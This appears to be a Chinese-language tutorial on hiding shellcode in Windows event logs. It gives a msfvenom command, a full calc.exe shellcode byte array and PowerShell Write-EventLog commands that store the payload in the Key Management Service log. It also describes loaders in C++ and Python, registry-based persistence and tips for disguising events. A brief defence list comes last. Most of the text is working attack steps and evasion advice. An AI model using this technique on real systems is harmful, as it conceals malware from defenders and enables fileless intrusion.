巧用Windows事件日志“隐藏”载荷
字数 940 2025-08-25 22:58:41

巧用Windows事件日志隐藏载荷技术详解

背景介绍

根据卡巴斯基研究报告,攻击者可以将shellcode直接放入Windows事件日志中,利用这种技术掩盖特洛伊木马病毒的恶意使用,实现"无文件"攻击。本文将详细介绍该技术的实现方法。

Windows事件日志基础

日志类型

Windows主要日志位于"Windows日志"文件夹中,包含五个标准类别:

  • 应用程序日志
  • 安全日志
  • Setup日志
  • 系统日志
  • Forwarded Events

日志结构

每条事件日志记录包含9个字段:

  1. 日志名称
  2. 来源
  3. 记录时间
  4. 事件ID
  5. 任务类别
  6. 级别
  7. 计算机
  8. 事件数据(EventData) - 支持消息和二进制数据

写入事件日志

基本写入方法

使用PowerShell的Write-EventLog命令:

Write-EventLog -LogName Application -Source edge -EventID 65535 -EntryType Information -Category 0 -Message "Hello World!"

写入二进制载荷步骤

  1. 生成shellcode
    使用msfvenom生成弹计算器的payload,输出为十六进制字符串:
msfvenom -p windows/x64/exec CMD=calc.exe -f hex
  1. 转换为字节数组
$data = [Byte[]](0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00)
  1. 写入事件日志
    使用密钥管理服务日志和KmsRequests作为源:
Write-EventLog -LogName 'Key Management Service' -Source KmsRequests -EventID 9999 -EntryType Information -Category 0 -Message "Hello World!" -RawData $data

读取并执行载荷

C++实现

使用Visual Studio编译PoC代码,从"Key Management Services"日志中提取二进制载荷数据并执行。

Python实现

使用win32evtlog模块读取事件日志内容,结合常见的shellcode注入技术执行载荷。

持久化技巧

  1. 注册表配置

    • 路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\<日志名称>
    • 修改EventMessageFile属性,使事件ID看起来合法
  2. 伪装技巧

    • 使用常见的事件ID和级别
    • 模仿正常日志的格式和内容

限制与注意事项

  1. 权限要求

    • 需要写入事件日志的权限
  2. 大小限制

    • 事件消息字符串最大限制为31,839个字符
  3. 隐蔽性

    • 避免使用异常的事件ID和级别
    • 确保日志源看起来合法

防御措施

  1. 监控异常的事件日志写入操作
  2. 检查不常见日志源的事件记录
  3. 限制对关键日志的写入权限
  4. 使用高级威胁检测工具分析日志中的异常二进制数据

参考资源

  1. 卡巴斯基研究报告
  2. Microsoft文档
  3. Threatpost文章
巧用Windows事件日志隐藏载荷技术详解 背景介绍 根据卡巴斯基研究报告,攻击者可以将shellcode直接放入Windows事件日志中,利用这种技术掩盖特洛伊木马病毒的恶意使用,实现"无文件"攻击。本文将详细介绍该技术的实现方法。 Windows事件日志基础 日志类型 Windows主要日志位于"Windows日志"文件夹中,包含五个标准类别: 应用程序日志 安全日志 Setup日志 系统日志 Forwarded Events 日志结构 每条事件日志记录包含9个字段: 日志名称 来源 记录时间 事件ID 任务类别 级别 计算机 事件数据(EventData) - 支持消息和二进制数据 写入事件日志 基本写入方法 使用PowerShell的 Write-EventLog 命令: 写入二进制载荷步骤 生成shellcode : 使用msfvenom生成弹计算器的payload,输出为十六进制字符串: 转换为字节数组 : 写入事件日志 : 使用密钥管理服务日志和KmsRequests作为源: 读取并执行载荷 C++实现 使用Visual Studio编译PoC代码,从"Key Management Services"日志中提取二进制载荷数据并执行。 Python实现 使用win32evtlog模块读取事件日志内容,结合常见的shellcode注入技术执行载荷。 持久化技巧 注册表配置 : 路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\<日志名称> 修改 EventMessageFile 属性,使事件ID看起来合法 伪装技巧 : 使用常见的事件ID和级别 模仿正常日志的格式和内容 限制与注意事项 权限要求 : 需要写入事件日志的权限 大小限制 : 事件消息字符串最大限制为31,839个字符 隐蔽性 : 避免使用异常的事件ID和级别 确保日志源看起来合法 防御措施 监控异常的事件日志写入操作 检查不常见日志源的事件记录 限制对关键日志的写入权限 使用高级威胁检测工具分析日志中的异常二进制数据 参考资源 卡巴斯基研究报告 Microsoft文档 Threatpost文章